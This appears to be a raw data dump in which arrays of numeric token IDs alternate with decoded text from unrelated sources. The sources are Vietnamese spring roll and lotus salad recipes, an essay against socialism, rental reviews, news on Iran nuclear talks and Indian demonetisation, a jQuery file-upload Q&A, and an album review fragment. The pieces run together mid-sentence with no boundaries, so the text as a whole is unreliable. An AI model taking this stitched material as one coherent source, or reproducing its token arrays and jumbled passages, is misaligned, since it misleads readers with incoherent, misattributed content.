831, 4633, 5382, 310, 1335, 327, 776, 37829, 3063, 3333, 187, 187, 64, 6175, 352, 310, 417, 247, 5899, 30907, 6882, 2092, 13, 359, 1849, 2879, 271, 15266, 23105, 10424, 12364, 281, 1918, 841, 5768, 21968, 247, 38539, 13, 10777, 1321, 13746, 3333, 187, 187, 3788, 46009, 1668, 16636, 2293, 52, 187, 187, 424, 9675, 3003, 25361, 38097, 16636, 2293, 52, 6098, 187, 187, 424, 25, 28409, 14245, 6906, 11789, 41168, 424, 187, 187, 424, 18, 23451, 11789, 8995, 13, 824, 347, 4378, 14353, 424, 187, 187, 424, 18, 23451, 16517, 482, 4166, 424, 187, 187, 424, 8313, 21059, 4646, 35423, 313, 3281, 7609, 16, 1235, 28, 670, 2030, 7437, 582, 35003, 285, 34344, 967, 424, 187, 187, 424, 1036, 14526, 11789, 2929, 424, 187, 187, 424, 1036, 10379, 43170, 6505, 424, 187, 187, 424, 18, 5500, 36942, 1070, 2639, 30353, 313, 6377, 27518, 4846, 187, 187, 424, 8313, 5500, 313, 10383, 337, 12190, 10, 5352, 30907, 591, 6077, 313, 85, 6336, 246, 9837, 10, 6505, 424, 187, 187, 424, 11199, 5500, 313, 10383, 24142, 12190, 10, 5352, 260, 39821, 287, 6505, 424, 187, 187, 424, 11199, 5500, 313, 10383, 24142, 12190, 10, 5352, 32995, 6505, 424, 187, 187, 424, 18, 12190, 5352, 448, 1644, 424, 187, 187, 424, 9675, 3003, 14980, 3271, 42, 12041, 54, 4339, 313, 21676, 2262, 424, 187, 187, 424, 19, 18850, 778, 5860, 885, 424, 187, 187, 424, 18, 15893, 48259, 48405, 1502, 313, 6377, 33790, 4846, 187, 187, 424, 18, 15893, 48259, 10867, 663, 313, 6377, 35145, 4846, 187, 187, 424, 8313, 15893, 6150, 7043, 424, 187, 187, 424, 8313, 15893, 25547, 3216, 2806, 13835, 424, 187, 187, 424, 20317, 44783, 13, 323, 9417, 313, 6377, 29226, 4846, 187, 187, 424, 31352, 663, 44513, 44783, 13, 323, 9417, 313, 6377, 32900, 4846, 187, 187, 18, 10, 1893, 518, 253, 14245, 41168, 275, 5890, 1824, 323, 884, 2909, 15, 187, 187, 19, 10, 16257, 13, 3324, 247, 1781, 1721, 273, 7043, 264, 1824, 281, 247, 22149, 689, 1029, 4250, 15, 49855, 253, 41168, 432, 253, 594, 1170, 5558, 285, 823, 731, 281, 253, 25317, 1824, 15, 11980, 323, 608, 281, 818, 2909, 1919, 2602, 15, 49855, 253, 41168, 13, 391, 38424, 731, 973, 762, 5412, 1824, 13, 285, 840, 391, 38424, 731, 762, 5890, 1824, 15, 23109, 253, 41168, 281, 247, 1781, 9417, 11636, 15, 6618, 9255, 15, 187, 187, 20, 10, 5935, 330, 16569, 3003, 7840, 51, 40921, 27, 28436, 374, 15107, 1824, 281, 247, 22149, 342, 253, 8995, 285, 16517, 482, 4166, 275, 247, 4646, 40250, 689, 1029, 4250, 15, 36529, 247, 4646, 11636, 342, 6749, 1824, 285, 873, 352, 10151, 15, 5733, 253, 35423, 281, 253, 25317, 5558, 285, 4417, 816, 1919, 597, 403, 34350, 13, 670, 337, 7017, 15, 49855, 253, 35423, 285, 3700, 731, 281, 253, 6749, 1824, 281, 4484, 4336, 15, 49855, 969, 285, 869, 253, 35423, 6079, 342, 2929, 41204, 15, 18665, 253, 35423, 275, 2716, 15, 187, 187, 21, 10, 5057, 247, 4076, 298, 565, 14, 4924, 8576, 29861, 13, 9685, 352, 13, 285, 259, 804, 352, 6079, 15, 13470, 352, 327, 247, 1892, 2553, 390, 9968, 4450, 15 ]	oil FOR THE HERB PLATTER: Fresh butter lettuce Fresh basil leaves Fresh cilantro Fresh Vietnamese perilla (tía tô) leaves Pickled Carrots (page 238) Pickled Cucumbers (page 240) Garlic Lemon Sauce (page 274)** 1) In a large bowl, mix the chicken with the onions, carrots, jicama, and mushrooms. Add the noodles and mix well. Mix in the oyster sauce, fish sauce, sugar, oil, salt, and pepper. 2) Place one rice paper wrapper in front of you on a hard surface or cutting board. Put 1 tablespoon of the meat mixture in a horizontal line about one-third of the way up the wrapper from the bottom, leaving a finger-width border on either side. Fold the bottom of the wrapper over the meat and start rolling upward, making sure to tuck in the sides as you go. Don't roll too tightly or the wrapper might tear. Place the roll on a plate and repeat with the remaining wrappers and meat filling. 3) Heat the oil in a deep skillet or wok over medium heat. Line a baking sheet with paper towels. Once the oil is hot, place 5 rolls at time in the pan and cook them until their outsides turn golden brown, about 7 to 10 minutes. Using a slotted spoon or skimmer, transfer the cooked rolls to the prepared baking sheet to drain. Repeat the process with the remaining rolls. 4) Serve the spring rolls hot along with the herb platter and Garlic Lemon Sauce. * * * THE SECRET TO PREPARING RICE PAPER FOR CRISPY ROLLS To make perfectly crispy spring rolls, you'll need to use several different towels at once and stack them so the rice paper doesn't dry out. The perfect towel for the job is a small, clean, lint-free kitchen towel that will hold moisture. (Paper towels will break and washcloths hold too much water.) We usually have about ten kitchen towels on hand for this purpose. TO PREPARE THE RICE PAPER: 1) Fill a large bowl with warm water and soak the towels all together. Remove the towels one-by-one and squeeze all of the water out of each towel. Lay the cloths flat on a hard surface or wooden cutting board, one on top of the other. 2) Take the top cloth off and place it on a hard surface or cutting board. Place one rice paper wrapper on top of the cloth, and then place another cloth on top of it. Continue making a new stack, alternately layering cloths and rice wrappers until you have covered all of your wrappers. 3) Now flip the stack over so that the rice wrapper on the bottom is now on the top, and use that one first, as it will be the wettest and ready to go. * * * Lotus, Chicken & Shrimp Salad THIS LIGHT AND REFRESHING SALAD IS EXTREMELY POPULAR _during the hot and humid summer months in Vietnam, because lotus is widely believed to improve circulation and have a cooling effect on the body. The secret to getting the lotus nice and crunchy with the right semi-pickled flavor is to squeeze all of the water out of it before marinating it in vinegar and sugar. Serve this salad with shrimp chips._ MAKES 4 SERVINGS 1 cupHomemade Chicken Broth (page 273) or store-bought low-sodium chicken broth 4 fresh lemon leaves, crushed 1 large (8-ounce) boneless, skinless chicken breast 1 tablespoon white wine 1 teaspoon sesame oil ⅓ pound jumbo shrimp (size 21/25; about 6 pieces), peeled and deveined 1 tablespoon fish sauce 2 tablespoons sugar 1 tablespoon white vinegar 8 ounces canned lotus stem, rinsed, drained, and cut into 2-inch pieces 2 celery stalks, cut into 2-inch long, thin strips ½ carrot, cut into 2-inch long, thin strips 4 tablespoons chopped fresh Vietnamese coriander (rau răm) leaves 1 teaspoon chopped roasted garlic 1 tablespoon crushed roasted peanuts, for garnish 1 teaspoon chopped shallots, for garnish 1) In a medium pot, combine 1 cup of water, the chicken broth, and the crushed lemon leaves. Bring the mixture to a boil over high heat, then reduce the heat to medium and add the chicken breast. Continue to low boil for 10 minutes, making sure to skim off the froth. Turn off the heat, cover the pot, and let it sit for 10 minutes. Remove the chicken from the broth and transfer it to a large bowl to cool. Once the chicken has cooled down, shred it by hand into the bowl. Set aside. 2) Meanwhile, in a second medium pot, bring 1 cup of water, the wine, and the sesame oil to a boil over high heat. Fill a medium bowl with ice water and set it nearby. Blanch the shrimp by adding them to the boiling pot of water for 1 minute. Strain the shrimp through a colander, discarding the cooking liquid, and then transfer the shrimp to the ice water for 2 minutes. Remove the shrimp from the water and set them aside. 3) Warm the fish sauce in a medium saucepan over low heat, and stir in 1 tablespoon of the sugar; cook, stirring, until the sugar has completely dissolved, about 2 minutes. Remove the pan from the heat. Once the sauce has cooled, add the shrimp and chicken and turn to coat them in the marinade. 4) Meanwhile, in a medium bowl, stir together the vinegar, the remaining tablespoon of sugar, and 2 tablespoons of water. Squeeze out any excess water from the lotus stems, then add them to the bowl; set them aside to marinate for 30 minutes. Remove the lotus stems from the marinade and squeeze slightly, but not too much; you only want to remove excess marinade. 5) In a large bowl, toss the marinated shrimp and chicken with the lotus, celery, carrots, Vietnamese coriander, and roasted garlic. After tossing, place the salad on a serving plate, arranging the shrimp and chicken on top. Garnish with peanuts and shallots before serving. Shrimp Summer Rolls WHEN MY GRANDMOTHER DIANA WANTED TO SUPPLEMENT THE MENU _at our old Italian deli with Vietnamese-inspired dishes, one of the first items she chose was a summer roll. She saw that Americans liked salad and bet that they would like it even more if they could hold it in their hands in a neat rice paper package. Of course she was right, and the light and flavorful summer roll was an instant hit. This popular item is still on our menus today._ _While it is not a traditional Vietnamese condiment, we've added an optional aioli sauce to give these summer rolls a richer, creamier flavor._ MAKES 16 ROLLS FOR THE SUMMER ROLLS: 8 ounces dried thin rice noodles 1 tablespoon rice wine, such as Michiu 1 tablespoon sesame oil ½ pound medium shrimp (size 41/50; about 25 pieces), peeled and deveined 16 sheets rice paper 16 butter lettuce leaves 1 cupPickled Carrots (page 238) ½ cup (about 1 bunch) fresh Vietnamese perilla (tía tô) leaves ¼ cup (about ½ bunch) fresh cilantro leaves ¼ cup (about ½ bunch) fresh mint leaves 1 bunch fresh chives FOR THE AIOLI SAUCE (optional): 2 tablespoons mayonnaise 1 teaspoonFried Shallots (page 281) 1 teaspoonFried Garlic (page 282) ½ teaspoon sea salt ½ teaspoon freshly ground black pepper Bean Sauce, for serving (page 279) Garlic Lemon Sauce, for serving (page 274) 1) Soak the dried noodles in warm water for 10 minutes. 2) Meanwhile, bring a large pot of salted water to a boil over high heat. Drain the noodles from the soaking liquid and add them to the boiling water. Cook for 5 to 7 minutes until soft. Drain the noodles, rinse them well under cold water, and then rinse them under warm water. Transfer the noodles to a large serving bowl. Set aside. 3) TO COOK THE SHRIMP: Bring 2 cups water to a boil with the wine and sesame oil in a medium saucepan over high heat. Fill a medium bowl with ice water and set it nearby. Add the shrimp to the boiling liquid and cook just until they are opaque, about 1 minute. Drain the shrimp and transfer them to the ice water to cool completely. Drain again and pat the shrimp dry with paper towels. Cut the shrimp in half. 4) Get a clean lint-free kitchen towel, wet it, and wring it dry. Place it on a hard surface or cutting board.
[ 30177, 10003, 13, 3982, 479, 281, 247, 1899, 16248, 253, 440, 1069, 18859, 30391, 14, 8719, 839, 8062, 273, 12773, 10169, 342, 5795, 285, 18380, 2097, 273, 26353, 2492, 273, 3693, 494, 9958, 323, 253, 9065, 745, 15, 187, 187, 42, 1053, 457, 85, 5545, 512, 273, 253, 1840, 588, 1891, 281, 6455, 30177, 10668, 15, 1310, 309, 476, 387, 1878, 1056, 731, 923, 2139, 581, 812, 12054, 1705, 281, 1859, 38384, 5369, 25755, 1598, 13, 840, 309, 457, 620, 320, 10048, 15, 1292, 1339, 479, 8416, 342, 581, 625, 5691, 15, 187, 187, 16628, 969, 253, 1840, 3237, 13, 313, 74, 10, 281, 313, 87, 481, 1737, 812, 581, 1902, 281, 906, 672, 512, 273, 253, 1563, 1705, 2366, 27, 39718, 23800, 24492, 285, 4116, 23835, 13, 10341, 5054, 5827, 13, 591, 3025, 3275, 26911, 13, 2714, 1600, 820, 14, 412, 1076, 13, 285, 247, 4275, 5286, 342, 12553, 6265, 281, 10265, 253, 12786, 2605, 407, 3490, 32, 309, 651, 16466, 326, 359, 812, 1902, 281, 923, 247, 5948, 36719, 407, 2455, 14, 16366, 1699, 5054, 3453, 13, 12954, 14, 87, 31387, 557, 408, 2035, 420, 13, 16933, 13, 285, 271, 6982, 33046, 2112, 760, 949, 14207, 273, 3490, 15, 3954, 4887, 327, 512, 253, 14163, 773, 1439, 1524, 7521, 773, 249, 14, 1590, 14, 7483, 668, 30177, 285, 33823, 4343, 326, 20944, 4768, 253, 1384, 394, 5331, 15, 1244, 1908, 253, 3102, 273, 20101, 326, 5866, 275, 2761, 1046, 1083, 27, 5054, 36879, 318, 13, 604, 417, 17376, 318, 28, 12954, 14, 87, 31387, 557, 408, 2035, 420, 28, 9470, 39042, 273, 4812, 7075, 285, 3569, 32070, 28, 16933, 285, 28090, 1420, 3718, 31367, 28, 2264, 14621, 1204, 15, 1244, 4366, 326, 841, 1543, 5866, 2439, 247, 1781, 2491, 273, 10621, 406, 10222, 896, 3002, 793, 13, 253, 1072, 3368, 6015, 275, 12390, 273, 26704, 18825, 3598, 3360, 285, 29892, 285, 11515, 285, 2193, 15, 1680, 352, 1663, 21541, 281, 10538, 326, 253, 2074, 20101, 275, 1046, 2014, 581, 273, 841, 2219, 497, 253, 1543, 273, 1027, 40514, 2616, 326, 1784, 7193, 841, 30177, 4679, 673, 285, 673, 969, 32, 2064, 1016, 273, 841, 30177, 11438, 285, 7038, 13, 665, 4455, 594, 6233, 27459, 285, 27364, 7730, 281, 38384, 387, 253, 35681, 13, 1694, 1784, 7193, 984, 1110, 11438, 457, 7038, 816, 4571, 457, 85, 755, 352, 3240, 987, 1016, 673, 323, 1027, 4606, 32, 1680, 352, 417, 247, 2080, 625, 13328, 15329, 784, 285, 21541, 8813, 326, 253, 6015, 3102, 273, 4433, 310, 1955, 281, 253, 12794, 12834, 326, 12893, 672, 581, 9437, 13, 1014, 604, 43001, 13, 281, 3359, 436, 2238, 273, 5054, 11461, 32, 187, 187, 42, 457, 620, 3553, 253, 9414, 281, 23031, 327, 1110, 3533, 13, 285, 19864, 8680, 275, 253, 5701, 2708, 15, 309, 18607, 436, 281, 320, 271, 21558, 281, 247, 13241, 285, 1175, 6009, 17414, 342, 2675, 1346, 15, 1707, 457, 84, 247, 1270, 2968, 387, 13841, 672, 352, 3249, 281, 841, 3374, 15, 733, 457, 84, 35315, 2220, 441, 281, 1611, 347, 2080, 347, 1896, 281, 1555, 342, 12720, 1675, 1110, 342, 5207, 359, 26401, 14936, 15, 17501, 13, 13846, 588, 1620, 320, 4391, 13, 285, 12786, 4780, 4404, 253, 5083, 13, 20312, 352, 8696, 13, 1620, 6786, 15, 25302, 30254, 32, 45441, 13, 359, 1694, 9172, 187, 187, 36549, 412, 10540, 3384, 240, 99, 187, 187, 1628, 45, 3149, 14596, 387, 436, 1659, 2, 733, 369, 3962, 323, 479, 15, 3905, 23980, 3304, 253, 3943, 369, 247, 32037, 7538, 5043, 285, 253, 3652, 369, 4999, 285, 7895, 15, 7395, 7964, 320, 896, 1735, 673, 309, 457, 78, 275, 253, 2846, 11602, 187, 187, 53, 3681, 466, 11276, 187, 187, 998, 19416, 275, 27, 8757, 6121, 187, 187, 1552, 310, 253, 374, 2109, 673, 309, 1849, 11791, 342, 659, 24318, 285, 11346, 619, 2793, 15, 26755, 403, 9300, 708, 4076, 2, 1583, 671, 2530, 247, 12478, 2579, 1046, 374, 3618, 534, 369, 247, 5322, 591, 76, 15, 309, 1833, 7964, 897, 731, 969, 275, 32880, 510, 2800, 9136, 14716, 253, 1986, 2077, 285, 253, 643, 1740, 2758, 273, 253, 1986, 14726, 9044, 6456, 13, 5043, 6176, 14716, 574, 2546, 323, 253, 4465, 6874, 275, 1340, 281, 5281, 247, 7792, 323, 2007, 12088, 285, 7162, 14, 22157, 5593, 13, 253, 47755, 753, 15, 1583, 21947, 326, 253, 2800, 651, 417, 5194, 281, 667, 638, 32978, 15, 187, 187, 4553, 247, 767, 14, 11964, 5909, 499, 35634, 6874, 327, 6794, 4131, 8127, 1677, 689, 281, 10405, 3006, 1929, 6887, 13, 253, 12088, 9377, 387, 670, 23483, 323, 6794, 24861, 285, 11157, 13, 285, 858, 417, 21058, 969, 1919, 577, 268, 15, 78, 15, 2635, 13, 247, 19379, 4804, 875, 253, 20533, 7015, 8408, 35250, 13, 322, 3348, 264, 500, 267, 3093, 13, 285, 253, 8612, 273, 253, 1533, 9136, 13, 23425, 1284, 41844, 13, 253, 5284, 6398, 5639, 3646, 7015, 13, 7581, 264, 323, 5091, 2909, 15, 187, 187, 1989, 6359, 47755, 4469, 27531, 342, 253, 1543, 273, 253, 4804, 15, 1583, 753, 326, 10137, 15, 1284, 41844, 10090, 562, 271, 5821, 1899, 327, 849, 281, 2118, 3579, 13, 342, 247, 17265, 7236, 22101, 2968, 323, 7751, 457, 84, 2168, 18839, 41031, 285, 247, 2962, 273, 19379, 12225, 13, 1690, 581, 342, 253, 1986, 2077, 15, 1292, 2305, 15, 500, 267, 3093, 753, 326, 806, 627, 1364, 320, 8981, 273, 7751, 457, 84, 987, 281, 15655, 41031, 285, 247, 20284, 273, 346, 48942, 668, 14716, 7192, 347, 17634, 14716, 326, 651, 773, 12756, 28068, 907, 7751, 457, 84, 3570, 285, 17973, 668, 762, 253, 27456, 8758, 14, 49, 1102, 338, 3328, 32648, 15, 187, 187, 510, 47755, 753, 326, 7751, 457, 84, 987, 281, 15655, 41031, 323, 19951, 6378, 369, 247, 1677, 13, 285, 326, 253, 17634, 574, 644, 11295, 407, 253, 1986, 14726, 9044, 6456, 846, 7751, 4242, 281, 2968, 20509, 285, 4336, 342, 253, 5625, 39628, 11669, 13677, 15, 1583, 753, 597, 3078, 281, 2118, 715, 7000, 11985, 342, 7751, 273, 247, 7321, 7236, 22101, 2968, 13, 806, 10090, 562, 275, 4437, 4748, 13, 4158, 281, 5386, 2217, 18839, 41031, 281, 3657, 7751, 432, 3652, 247, 10110, 275, 1091, 323, 7236, 30665, 323, 247, 1355, 35889, 22578, 2403, 3739, 14539, 11192, 15, 187, 187, 510, 1127, 273, 436, 41460, 4804, 556, 644, 773, 936, 1089, 562, 604, 7751, 310, 4092, 668, 670, 32542, 13, 247, 8474, 6359, 41318, 753, 15, 1707, 310, 1335, 642, 2590, 3662, 281, 326, 1953, 13, 533, 2448, 285, 5112, 6338, 275, 1798, 452, 753, 275, 253, 1390, 1643, 1897, 326, 773, 85, 21489, 2550, 320, 271, 19461, 1232, 1806, 1014, 347, 597, 452, 4469, 6619, 326, 7751, 310, 1907, 12748, 342, 697, 16195, 265, 285, 253, 5998, 673, 323, 352, 281, 320, 6069, 14, 67, 4894, 7032, 556, 644, 6508, 15, 3, 8497, 4152, 74, 556, 4242, 347, 697, 8103, 369, 417, 25146, 15, 1707, 310, 642, 2806, 2583, 1091, 937, 16495, 3227, 753, 13, 6240, 326, 8688, 591, 1399, 273, 253, 14731, 574, 4895, 15, 187, 187, 3, 1989, 347, 7312, 253, 8170, 2208, 556, 644, 3192, 1361, 273, 8696, 281, 5276, 326, 352, 369, 247, 2323, 937, 344, 753, 387, 247, 1159, 1060, 29070, 407, 29703, 3344, 682, 18363, 14, 11586, 6657, 530, 1201, 26417, 26782, 775, 2995, 73, 552, 15, 187, 187, 11728, 5302, 253, 32710, 2208, 273, 417, 1146, 4092, 670, 8615, 16933, 13, 344, 2546, 2139, 556, 247, 10304, 417, 644, 6960, 715, 253, 2136, 42331, 273, 378, 9432, 8657, 5973, 3344, 682, 7021, 3918, 329, 2225, 24919, 434, 3347, 16246, 24919, 15, 50, 27, 187, 187, 36955, 830, 12119, 2228, 187, 187, 42, 717, 970, 436, 2715, 273, 19386, 830, 15191, 5987, 1358, 2040, 15, 7280, 15, 681, 16, 78, 932, 484, 16, 630, 16, 11717, 16, 19203, 15, 630, 15, 4305, 187, 35777, 271, 2228, 327, 11929, 27, 187, 3775, 327, 1386, 830, 15, 21399, 1874, 209, 187, 52, 22068, 2597, 27, 33142, 4154, 15, 39775, 15, 630, 15, 4305, 13, 1386, 35100, 1894, 608, 187, 187, 3220, 2127, 27, 187, 29, 630, 2654, 568, 20742, 31483, 5232, 3, 2250, 14015, 13636, 15, 9019, 1587, 31483, 995, 346, 18686, 2807, 6, 21760, 1332, 568, 5996, 3, 546, 46510, 568, 9961, 40475, 16, 630, 14, 2203, 3, 2239, 187, 50274, 29, 3423, 1178, 31, 187, 50270, 29, 42262, 31, 31483, 247, 1873, 870, 42262, 31, 187, 50270, 29, 1968, 31, 4505, 281, 530, 8108, 27, 654, 5423, 1511, 568, 3140, 3, 1416, 568, 3140, 3, 29972, 1968, 31, 187, 50270, 29, 5423, 2654, 568, 20742, 31483, 8880, 3, 1511, 568, 21399, 3, 1318, 568, 31483, 3, 4725, 187, 50274, 870, 3423, 1178, 31, 187, 870, 630, 31, 2490, 187, 6999, 3701, 6734, 551, 187, 50270, 5, 19410, 20742, 31483, 5232, 6788, 20742, 5232, 7506, 187, 50266, 45185, 27, 2032, 13, 187, 50266, 2203, 2548, 27, 346, 8456, 995, 187, 50266, 9131, 38403, 27, 1159, 6734, 551, 187, 50263, 605, 28543, 20742, 31483, 5232, 6788, 6172, 7506, 3935, 27, 21083, 8428, 6740, 17779, 8590, 16, 49297, 16, 5478, 16, 13485, 16, 24951, 15, 23200, 3, 4725, 8, 6824, 187, 50266, 2023, 187, 50266, 12566, 27, 1159, 313, 6870, 10, 551, 187, 50263, 605, 28543, 20742, 31483, 5232, 6788, 328, 6172, 1874, 187, 50262, 605, 5, 19410, 20742, 31483, 5232, 6788, 19511, 5232, 1874, 187, 50262, 1352, 47248, 77, 9571, 9, 8629, 13, 906, 15, 8559, 558, 187, 50266, 2023, 187, 50266, 3775, 27, 1159, 313, 89, 6285, 13, 2505, 9505, 13, 2228, 1044, 2924, 10, 551, 187, 50262, 605, 5, 19410, 20742, 31483, 5232, 6788, 328, 6172, 1874, 187, 50262, 605, 5, 19410, 20742, 31483, 5232, 6788, 19511, 5232, 1874, 187, 50262, 1352, 47248, 77, 9571, 9, 8629, 13, 686, 4756, 49487, 1873, 5137, 187, 50266, 94, 187, 50270, 9897, 187, 50274, 9897, 187, 187, 42, 717, 2509, 436, 12119, 275, 1930, 2969, 1566, 10756, 15, 187, 6791, 320, 690, 581, 778, 452, 667, 5697, 849, 16816, 4993, 326, 32, 187, 187, 34, 27, 187, 187, 2042, 253, 9763, 2250, 326, 368, 403, 28846, 272, 281, 310, 10884, 13922, 368, 1537, 878, 281, 16384, 352, 275, 247, 654, 44749, 31, 14610, 347, 5544, 275, 253, 10097, 27, 187, 187, 7542, 352, 310, 417, 1896, 281, 12119, 187, 50276, 11242, 970, 253, 9882, 434, 187, 50276, 17733, 15003, 6825, 1789, 13, 253, 7191, 49366, 187, 50276, 5123, 247, 8763, 604, 30873, 3284, 281, 1361, 187, 50276, 3113, 253, 4836, 15, 831, 310, 247, 1846, 187, 50276, 23693, 2271, 13, 533, 352, 556, 12794, 187, 50276, 17465, 569, 15, 380, 604, 30873, 3284, 310, 187, 50276, 3197, 347, 253, 2303, 273, 253, 830, 434, 187, 50276, 21399, 4254, 534, 2097, 326, 253, 187, 50276, 9438, 2380, 310, 3542, 281, 253, 187, 50276, 45185, 15, 831, 310, 4030, 604, 253, 2380, 187, 50276, 881, 310, 11685, 390, 14784, 13, 533, 2506, 626, 789, 187, 50276, 284, 973, 604, 253, 2380, 1511, 310, 6001, 187, 50276, 263, 13922, 13, 1097, 273, 534, 2223, 3831, 187, 50276, 3615, 5468, 326, 878, 281, 320, 1234, 265, 8006, 187, 50276, 5302, 10726, 10414, 672, 1119, 275, 187, 50276, 15597, 44236, 15, 187, 1992, 2395, 323, 253, 7881, 273, 187, 50276, 3866, 285, 13922, 6128, 13, 253, 7191, 187, 50276, 23836, 4483, 841, 6128, 281, 320, 187, 50276, 40964, 275, 247, 2505, 12879, 3284, 285, 352, 187, 50276, 261, 8521, 326, 368, 513, 594, 323, 187, 50276, 20513, 2380, 3510, 672, 908, 275, 187, 50276, 585, 7589, 421, 342, 1873, 12119, 84, 15, 7764, 187, 50276, 9939, 13, 2299, 13, 326, 604, 627, 310, 642, 187, 50276, 3140, 3280, 275, 253, 830, 840, 253, 187, 50276, 9629, 4648, 2622, 1594, 9914, 281, 11929, 253, 187, 50276, 630, 313, 1439, 271, 604, 30873, 481, 831, 12516, 253, 187, 50276, 13156, 3354, 327, 634, 4771, 2127, 281, 871, 187, 50276, 9453, 281, 897, 247, 2505, 12879, 285, 672, 417, 187, 50276, 936, 15, 1310, 368, 751, 13, 368, 476, 897, 253, 187, 50276, 45185, 4500, 273, 253, 15191, 281, 3490, 187, 50276, 262, 281, 1900, 897, 271, 604, 30873, 4438, 285, 187, 50276, 7461, 634, 4771, 476, 1900, 8473, 253, 187, 50276, 10927, 275, 247, 2505, 12879, 15, 535, 34108, 9224, 310, 247, 29553, 273, 271, 5400, 13, 285, 7826, 581, 273, 253, 954, 39631, 13, 11117, 16258, 326, 309, 457, 306, 18029, 281, 275, 247, 1223, 15 ]	socialist institutions, brought me to a position combining the unrivalled prosperity-generating dynamics of liberal markets with alternative and sustainable means of alleviation of avoidable suffering for the worst off. I don’t doubt all of the above will fail to convert socialist readers. If I can at least make them see why one could reasonably come to view socialism unfavourably, then I’ll be satisfied. But let me finish with one more challenge. Consider again the above problems, (i) to (v). What could one expect to result when all of the following come together: Acute voter ignorance and attention deficits, arbitrary economic plans, perverse production incentives, special interest co-opting, and a central administration with ultimate authority to sustain the collective structure by force? I would hazard that we could expect to see a society characterised by ever-declining economic output, worker-voter disillusionment, corruption, and an economy grinding along only through threats of force. Now reflect on all the allegedly “not real”, “in-name-only” socialist and communist countries that arose throughout the 20th century. And consider the pattern of failures that occurred in almost every case: economic stagnation, if not devastation; worker-voter disillusionment; extensive apparatuses of internal terror and political repression; corruption and bureaucratic favoritism; totalitarianism. And notice that these results occurred across a large range of sociocultural backdrops, the same experiment repeated in nations of differing demographic constitutions and histories and languages and values. Is it really plausible to posit that the similar failures in every single one of these cases were the results of different incidental factors that derailed these socialist experiments time and time again? That each of these socialist movements and leaders, who seemed so earnestly and genuinely committed to socialism at the outset, got derailed because those movements’ leaders just couldn’t get it quite right each time for different reasons? Is it not a far more parsimonious and plausible explanation that the repeated pattern of failure is due to the inherent defects that arise when one attempts, even if sincerely, to implement this kind of economic arrangement? I’ll leave the reader to dwell on those questions, and invite feedback in the comments below. I intend this to be an invitation to a genuine and good faith dialogue with socialists. There’s a great deal at stake when it comes to these issues. It’s incumbent upon us to try as far as possible to treat with intellectual respect those with whom we fundamentally disagree. Otherwise, minds will never be changed, and collective progress towards the truth, wherever it lies, never achieved.Got Questions?Excellent, we got answers Stoop Love ❤ “Loved staying at this place! It was perfect for me. Laundry inside the unit was a HUGE plus and the building was safe and secure. Will definitely be back next time I’m in the city!” Tammie Taylor Stayed in: Williamsburg This is the 2nd time I've stayed with Stoop and enjoyed my experience. Places are updated & clean! They also provided a cleaning service every 2 weeks which was a nice perk. I'll definitely use them again in NYCThe six powers the United States and the other four members of the United Nations Security Council, plus Germany had asked for the extra session in order to shape a framework for further talks and confidence-building measures, the diplomats said. They emphasized that the six would not agree to any preconditions. After a two-hour opening plenary session on Friday morning largely given over to summarizing known positions, the talks broke at about noon for Friday prayers and lunch, and did not resume again until 4 p.m. Then, a bilateral meeting between the Iranian chief negotiator, Saeed Jalili, and the representative of the world powers, Catherine Ashton, the European Union foreign policy chief, convened for 90 minutes. But Western diplomats expressed disappointment with the results of the meeting. They said that Ms. Ashton laid out an agreed position on how to move forward, with a revised fuel swap deal for Iran’s already enriched uranium and a series of bilateral meetings, including one with the United States. But Mr. Jalili said that first there must be recognition of Iran’s right to enrich uranium and a lifting of "measures” understood as sanctions that would “would jeopardize Iran’s rights and obligations” under the Nuclear Non-Proliferation Treaty. The diplomats said that Iran’s right to enrich uranium for peaceful purposes was a given, and that the sanctions had been imposed by the United Nations Security Council after Iran failed to deal honestly and completely with the International Atomic Energy Agency. They said they wanted to move into detailed discussions with Iran of a modified fuel swap deal, first laid out in October 2009, designed to remove enough enriched uranium to prevent Iran from building a bomb in return for fuel rods for a small Tehran reactor making medical isotopes. The point of this Istanbul meeting has been “to find out if Iran is serious” about negotiating, a senior Western diplomat said. There is still no clear answer to that question, but American and French officials in particular have said in the last few days that “talking cannot be an endless process,” even as they have expressed relief that Iran is having difficulties with its centrifuges and the estimated time for it to be nuclear-bomb capable has been extended."Notebandi has failed as its objective was not fulfilled. There is no black money return," Sinha said, adding that 99 per cent of the currency had returned. "But as usual the Central government has been taking help of lies to prove that it was a success," he said at a function here organised by rebel Janata Dal-United leader Uday Narayan Choudhary. Accusing the Modi government of not being serious about fighting corruption, he asked why has a probe not been ordered into the business dealings of Bharatiya Janata Party President Amit Shah's son Jay Shah.Q: jQuery form upload error I am using this version of jQuery form plugin https://raw.github.com/malsup/form/master/jquery.form.js getting an error on submit: error on line form.submit(); SCRIPT87: Invalid argument. jquery.form.js, line 347 character 5 My code: <form id="ajaxUploadForm" action="@Url.Action("Upload", "Home")%>" method="post" enctype="multipart/form-data" > <fieldset> <legend>Upload a file</legend> <label>File to Upload: <input type="file" name="file" /></label> <input id="ajaxUploadButton" type="submit" value="Upload" /> </fieldset> </form> $(function () { $("#ajaxUploadForm").ajaxForm({ iframe: true, dataType: "json", beforeSubmit: function () { // $("#ajaxUploadForm").block({ message: '<img src="/Content/themes/start/images/progress.gif" />' }); }, success: function (result) { // $("#ajaxUploadForm").unblock(); //$("#ajaxUploadForm").resetForm(); $.growlUI(null, result.message); }, error: function (xhr, textStatus, errorThrown) { //$("#ajaxUploadForm").unblock(); //$("#ajaxUploadForm").resetForm(); $.growlUI(null, 'Error uploading file'); } }); }); I am doing this upload in side simple model dialog. May be some one may have any ideas how ti fix that? A: If the controller action that you are POSTing to is returning JSON you might need to wrap it in a <textarea> tags as explained in the documentation: Since it is not possible to upload files using the browser's XMLHttpRequest object, the Form Plugin uses a hidden iframe element to help with the task. This is a common technique, but it has inherent limitations. The iframe element is used as the target of the form's submit operation which means that the server response is written to the iframe. This is fine if the response type is HTML or XML, but doesn't work as well if the response type is script or JSON, both of which often contain characters that need to be repesented using entity references when found in HTML markup. To account for the challenges of script and JSON responses, the Form Plugin allows these responses to be embedded in a textarea element and it is recommended that you do so for these response types when used in conjuction with file uploads. Please note, however, that if there is no file input in the form then the request uses normal XHR to submit the form (not an iframe). This puts the burden on your server code to know when to use a textarea and when not to. If you like, you can use the iframe option of the plugin to force it to always use an iframe mode and then your server can always embed the response in a textarea. Exit Plan is a marvel of an album, and potentially one of the most sporadic, diverse albums that I’ve listened to in a while.
